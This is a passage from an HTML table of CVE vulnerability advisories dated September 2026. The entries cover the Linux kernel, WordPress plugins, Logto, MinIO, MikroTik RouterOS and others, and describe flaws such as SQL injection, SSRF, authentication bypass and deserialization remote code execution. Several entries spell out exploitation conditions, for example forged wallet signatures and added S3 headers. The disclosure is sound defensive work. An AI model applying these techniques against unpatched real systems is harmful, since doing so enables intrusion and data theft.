&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-rdma: fix -EIO cleanup order in queue_rq On -EIO, the RDMA queue_rq path reports a host path error and then still cleans up the command and unmaps the SQE DMA. The path error helper completes the request, so that is double cleanup and DMA unmap after the request is already complete. Unmap the SQE first, then report the host path error. Skip the outer command cleanup on that path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98154&quot; target=&quot;_blank&quot;&gt;CVE-2026-98154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/virtio: use the DMA API for resource backing on Xen On a Xen PV domain page addresses bear no relation to the real machine addresses the host would have to use to reach it. virtio_ring.c handles this correctly, vring_use_map_api() returns true for any xen_domain() regardless of VIRTIO_F_ACCESS_PLATFORM. virtio-gpu makes the same decision independently, but its copy looks only at the feature bit: bool use_dma_api = !virtio_has_dma_quirk(vgdev-&amp;gt;vdev); QEMU does not set iommu_platform on virtio-vga by default, so VIRTIO_F_ACCESS_PLATFORM is not negotiated, use_dma_api is false, and virtio_gpu_object_shmem_init() describes the framebuffer&#039;s backing pages to the host with sg_phys(). Those are guest-physical addresses. In a PV domain they resolve, on the host side, to pages belonging to some other domain, so the host scans out unrelated memory. Move the decision into virtio_gpu_use_dma_api() and give it the xen_domain() check, like vring_use_map_api() has. This additionally enables the dma_sync_sgtable_for_device() calls in virtgpu_vq.c, which are required for correctness whenever swiotlb is in play. Reproduced with a Xen 4.21 PV dom0 nested inside QEMU 8.2 with virtio-vga, on both a distro 6.8 kernel and 6.18 LTS. A PVH dom0 works fine and doesn&#039;t need this fix because it is identity-mapped, only PV dom0s are affected.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98156&quot; target=&quot;_blank&quot;&gt;CVE-2026-98156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LiquidWeb--Give Tributes&lt;/td&gt;
&lt;td&gt;The Give Tributes plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.3.1 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. This vulnerability is only reachable when the &quot;Allow Multiple Recipients&quot; option is enabled for the donation form, as the single-recipient code path applies sanitize_textarea_field() which would neutralize the payload. Exploitation additionally requires the eCard &quot;Custom Message&quot; option to be disabled, which is the plugin default: when it is enabled the personalized message becomes a required field and GiveWP&#039;s give_clean() blanks serialized input during validation, causing the donation to be rejected before it is stored.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19658&quot; target=&quot;_blank&quot;&gt;CVE-2026-19658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;logto-io--logto&lt;/td&gt;
&lt;td&gt;Logto is the modern, open-source auth infrastructure for SaaS and AI apps. From 1.31.0 until 1.42.0, the Account API handlers in packages/core/src/routes/account/third-party-tokens.ts allow a caller holding a same-user access token with only the openid scope to retrieve stored social or enterprise SSO provider access tokens through GET /api/my-account/identities/{target}/access-token or GET /api/my-account/sso-identities/{connectorId}/access-token. The handlers authenticate the user but do not require the identities scope that protects neighboring identity-detail operations, bypassing the intended Account API consent boundary. Exploitation requires federated token-set storage to be enabled and the affected user to have authenticated through a supported connector. A low-trust application can use the disclosed provider token against upstream APIs within that token&#039;s granted scopes. This issue is fixed in version 1.42.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63203&quot; target=&quot;_blank&quot;&gt;CVE-2026-63203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LTSecurity--LTK3500SF&lt;/td&gt;
&lt;td&gt;LTSecurity LTK3500SF contains a hard-coded credentials vulnerability where the root and guest account passwords are stored in /etc/shadow as weak hashes recoverable with dictionary-based cracking tools. The recovered credentials authenticate against the device&#039;s Telnet and SSH services and grant root-level access to the operating system. These services are not confirmed to start automatically at boot, so exploitation requires Telnet or SSH to be running, whether enabled by the device configuration or started manually.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47116&quot; target=&quot;_blank&quot;&gt;CVE-2026-47116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lucasdillmann--nginx-ignition&lt;/td&gt;
&lt;td&gt;nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the &quot;onboarding already completed?&quot; check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves - and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61628&quot; target=&quot;_blank&quot;&gt;CVE-2026-61628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lucasdillmann--nginx-ignition&lt;/td&gt;
&lt;td&gt;nginx ignition is a user interface for the nginx web server. In versions 2.29.0 through 2.40.0, the gin i18n middleware in nginx-ignition&#039;s API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser&#039;s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. Version 2.40.1 fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61629&quot; target=&quot;_blank&quot;&gt;CVE-2026-61629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lwIP--lwIP API&lt;/td&gt;
&lt;td&gt;lwIP (Lightweight IP)&amp;nbsp;has a double free vulnerability, which could crash the system, cause a DoS, memory corruption, or allow code execution on the victim system.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91018&quot; target=&quot;_blank&quot;&gt;CVE-2026-91018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lwIP--TCP/IP Stack MQTT&lt;/td&gt;
&lt;td&gt;lwIP&amp;nbsp;TCP/IP Stack MQTT&amp;nbsp;is vulnerable to an out-of-bounds write, which may allow an attacker to gain full code execution on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87121&quot; target=&quot;_blank&quot;&gt;CVE-2026-87121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lynn999--EthPress Web3 Login&lt;/td&gt;
&lt;td&gt;The EthPress - Web3 Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 2.3.5. This is due to the verify_login() function in app/Login.php containing a missing return statement in the signature verification failure branch - when Signature::verify2() reports a mismatch, the function only assigns a WP_Error to a local variable and continues executing, causing unconditional fall-through to the login block where Address::log_in() calls wp_set_auth_cookie() regardless of whether the submitted signature is valid. This makes it possible for unauthenticated attackers to log in as any WordPress user who has a linked wallet address - including administrators - by submitting that user&#039;s public wallet address alongside an arbitrary well-formed signature, enabling full site takeover.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19125&quot; target=&quot;_blank&quot;&gt;CVE-2026-19125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
&lt;td&gt;ClipBucket v5 before 5.5.3-#197 contains a path traversal vulnerability in the admin template editor that allows authenticated administrators to overwrite PHP files by supplying directory traversal sequences in the folder parameter. Attackers with manage_template_access permission can traverse outside the layout directory to modify executable PHP files and achieve remote code execution as the web server user.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100372&quot; target=&quot;_blank&quot;&gt;CVE-2026-100372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
&lt;td&gt;ClipBucket v5 before 5.5.3-#182 contains a blind SQL injection vulnerability in the photo search endpoint where the query parameter is passed unsanitized into SQL WHERE and ORDER BY clauses. Unauthenticated attackers can exploit time-based blind SQL injection techniques to extract user credentials, email addresses, and administrator password hashes for account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96272&quot; target=&quot;_blank&quot;&gt;CVE-2026-96272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Magepeople inc.--Taxi Booking Manager for WooCommerce&lt;/td&gt;
&lt;td&gt;Authentication Bypass Using an Alternate Path or Channel vulnerability in Magepeople inc. Taxi Booking Manager for WooCommerce allows Authentication Bypass. This issue affects Taxi Booking Manager for WooCommerce: from n/a before 2.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93928&quot; target=&quot;_blank&quot;&gt;CVE-2026-93928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mailu--Mailu&lt;/td&gt;
&lt;td&gt;Mailu is a mail server distributed as a set of Docker images. From Mailu 2.0 until 2024.06.55 and prior to Mailu helm-charts 2.7.3, deployments with PROXY_AUTH_WHITELIST configured but REAL_IP_HEADER unset trusted a client-controlled X-Forwarded-By header for header-based proxy authentication. The proxy_hide_header directive in the nginx template at core/nginx/conf/proxy.conf hid the header from upstream responses but did not overwrite the incoming request value in this configuration. An unauthenticated remote attacker could therefore spoof the trusted proxy identity and bypass authentication. This issue is fixed in Mailu 2024.06.55 and Mailu helm-charts 2.7.3.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85751&quot; target=&quot;_blank&quot;&gt;CVE-2026-85751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This impacts an unknown function of the file updatedetailsfromstudent.php. The manipulation of the argument eno leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100314&quot; target=&quot;_blank&quot;&gt;CVE-2026-100314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected is an unknown function of the file mydetailsfaculty.php. The manipulation of the argument myfid results in sql injection. The attack can be launched remotely. The exploit is now public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100315&quot; target=&quot;_blank&quot;&gt;CVE-2026-100315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This impacts an unknown function of the file viewresult.php. Performing a manipulation of the argument seno results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100739&quot; target=&quot;_blank&quot;&gt;CVE-2026-100739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A flaw has been found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This affects an unknown function of the file addnewstudent.php. This manipulation causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100874&quot; target=&quot;_blank&quot;&gt;CVE-2026-100874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This impacts an unknown function of the file updatedetailsfromfaculty.php. Such manipulation of the argument myfid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100875&quot; target=&quot;_blank&quot;&gt;CVE-2026-100875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A weakness has been identified in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. The impacted element is an unknown function of the file loginlinkfaculty.php of the component Faculty Authentication. Executing a manipulation of the argument fid/pass can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97882&quot; target=&quot;_blank&quot;&gt;CVE-2026-97882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This affects an unknown function of the file updatequery.php. The manipulation of the argument gid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97883&quot; target=&quot;_blank&quot;&gt;CVE-2026-97883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A flaw has been found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected is an unknown function of the file updatefaculty.php. This manipulation of the argument fid causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97885&quot; target=&quot;_blank&quot;&gt;CVE-2026-97885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mauriceboe--TREK&lt;/td&gt;
&lt;td&gt;TREK is a collaborative travel planner. Prior to 3.3.0, TREK allows an authenticated user to store an attacker-controlled llm_base_url through the settings API when the LLM_PARSING feature is enabled. Write permission to the target trip instance is required to trigger the vulnerable AI-assisted import path. The value is consumed by the clients in server/src/nest/llm-parse/clients/openai-compatible.client.ts, server/src/nest/llm-parse/clients/anthropic.client.ts, and server/src/nest/llm-parse/router/ollama-format.client.ts without applying the server-side request forgery guard. Triggering AI-assisted trip parsing causes the server to request the supplied destination, and upstream error response text can be returned in parsing warnings. This permits internal service discovery and access to link-local cloud metadata, with possible disclosure of infrastructure credentials and subsequent modification of protected cloud resources. This issue is fixed in version 3.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77294&quot; target=&quot;_blank&quot;&gt;CVE-2026-77294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mauriceboe--TREK&lt;/td&gt;
&lt;td&gt;TREK is a collaborative travel planner. Prior to 3.3.0, the DELETE /api/trips/:tripId/collab/notes/:noteId/files/:fileId endpoint authorizes an authenticated user against the attacker-controlled tripId but deleteNoteFile in server/src/services/collabService.ts resolves the target only by note and file identifiers without requiring the file to belong to that trip. A user with edit access to any trip can submit identifiers belonging to another user&#039;s trip and permanently delete that note-file attachment. Sequential identifiers make broad targeting practical, while attachment read operations remain trip-scoped and are not affected. This issue is fixed in version 3.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77293&quot; target=&quot;_blank&quot;&gt;CVE-2026-77293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Meta Box--Meta Box Frontend Submission&lt;/td&gt;
&lt;td&gt;The Meta Box AIO plugin for WordPress is vulnerable to Privilege Escalation to Administrator in versions up to, and including, 3.11.0. This is due to a chained flaw: the populate_via_query_string() function in the mb-frontend-submission component unconditionally overrides the form&#039;s target object_id from the GET parameter &#039;rwmb_frontend_field_object_id&#039; without any authorization check, and Form::process() lacks the user_can_edit() check present in render(), allowing unauthenticated attackers to overwrite the post_content of any page with an arbitrary shortcode via wp_update_post(); the mb-user-profile component then directly trusts the &#039;role&#039; and &#039;auto_login&#039; shortcode attributes in the injected [mb_user_profile_register] shortcode with no role validation. This makes it possible for unauthenticated attackers to elevate their privileges to Administrator. The standalone plugins Meta Box Frontend Submission (in versions up to 4.5.6) and Meta Box User Profile (versions up to 3.11.0) are also affected.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13355&quot; target=&quot;_blank&quot;&gt;CVE-2026-13355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mhdzumair--mediaflow-proxy&lt;/td&gt;
&lt;td&gt;MediaFlow Proxy through 2.4.9 contains a server-side request forgery vulnerability in the /proxy routes due to missing and incomplete destination validation in the d query parameter. Remote attackers can supply arbitrary internal URLs including loopback and cloud metadata endpoints to read full responses from the proxy server.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100391&quot; target=&quot;_blank&quot;&gt;CVE-2026-100391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Microsoft Office Outlook Remote Code Execution Vulnerability&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70125&quot; target=&quot;_blank&quot;&gt;CVE-2026-70125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100208&quot; target=&quot;_blank&quot;&gt;CVE-2026-100208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik--RouterOS&lt;/td&gt;
&lt;td&gt;MikroTik RouterOS before 7.25beta4 contains an improper input validation vulnerability in the labelled-VPN NLRI iterators of the routing service that allows an unauthenticated on-path attacker to crash the BGP service by sending a malformed MP_REACH_NLRI UPDATE message with a prefix-length value below the minimum valid for a labelled-VPN NLRI, which passes validation while describing a route with a negative-length address portion. Attackers can repeatedly send a single BGP UPDATE packet carrying a VPNv4 or VPNv6 NLRI with an out-of-bounds prefix-length to indefinitely hold down the BGP plane, causing session termination without a NOTIFICATION and triggering a service malfunction on the device. The fix is carried only in 7.25beta4, a development build; the current stable release 7.24.2 and the current long-term release 7.23.5 both remain affected.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93345&quot; target=&quot;_blank&quot;&gt;CVE-2026-93345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MinIO--MinIO&lt;/td&gt;
&lt;td&gt;MinIO through 7aac2a2 does not verify that every x-amz-* header present on a request also appears in the client-supplied X-Amz-SignedHeaders list. extractSignedHeaders() in cmd/signature-v4-utils.go iterates only the claimed list and never enumerates the headers that actually arrived, and thus a header that arrives unsigned is neither hashed into the canonical request nor rejected. Because cmd/api-router.go dispatches CopyObject on the presence of x-amz-copy-source alone, the holder of a presigned PUT URL scoped to a single object can add that header to the unmodified URL and cause a server-side copy, executed as the signer, of any object the signing key can read. A grant to write one object becomes a read of every bucket that key can reach. Amazon S3 rejects the equivalent request with HTTP 403 AccessDenied. The minio/minio GitHub repository was archived in April 2026; pgsty/silo before 1233254 is also affected.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97731&quot; target=&quot;_blank&quot;&gt;CVE-2026-97731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ModelTC--LightLLM&lt;/td&gt;
&lt;td&gt;LightLLM through 1.2.0 contains a remote code execution vulnerability in the KV-transfer worker when started with --pd_trans_mode nccl, which exposes an unauthenticated RPyC control channel that deserializes attacker-supplied data. Attackers can send malicious pickled objects to the exposed RPyC ThreadedServer to execute arbitrary code with the privileges of the LightLLM service account.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96560&quot; target=&quot;_blank&quot;&gt;CVE-2026-96560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mohammed Kaludi--Core Web Vitals &amp;amp; PageSpeed Booster&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Core Web Vitals &amp;amp; PageSpeed Booster &amp;lt;= 1.0.31 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95528&quot; target=&quot;_blank&quot;&gt;CVE-2026-95528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mohammed_kaludi--AMP for WP Accelerated Mobile Pages&lt;/td&gt;
&lt;td&gt;The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Regex Transformation in all versions up to, and including, 1.1.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The crafted payload uses only WordPress-permitted comment tags and attributes (an anchor with href and title), and the AMP sanitizer pipeline omits javascript: protocol blocking, meaning neither the comment save filter nor the AMP output stage removes the malicious URI introduced by the transformation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83591&quot; target=&quot;_blank&quot;&gt;CVE-2026-83591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Compass&lt;/td&gt;
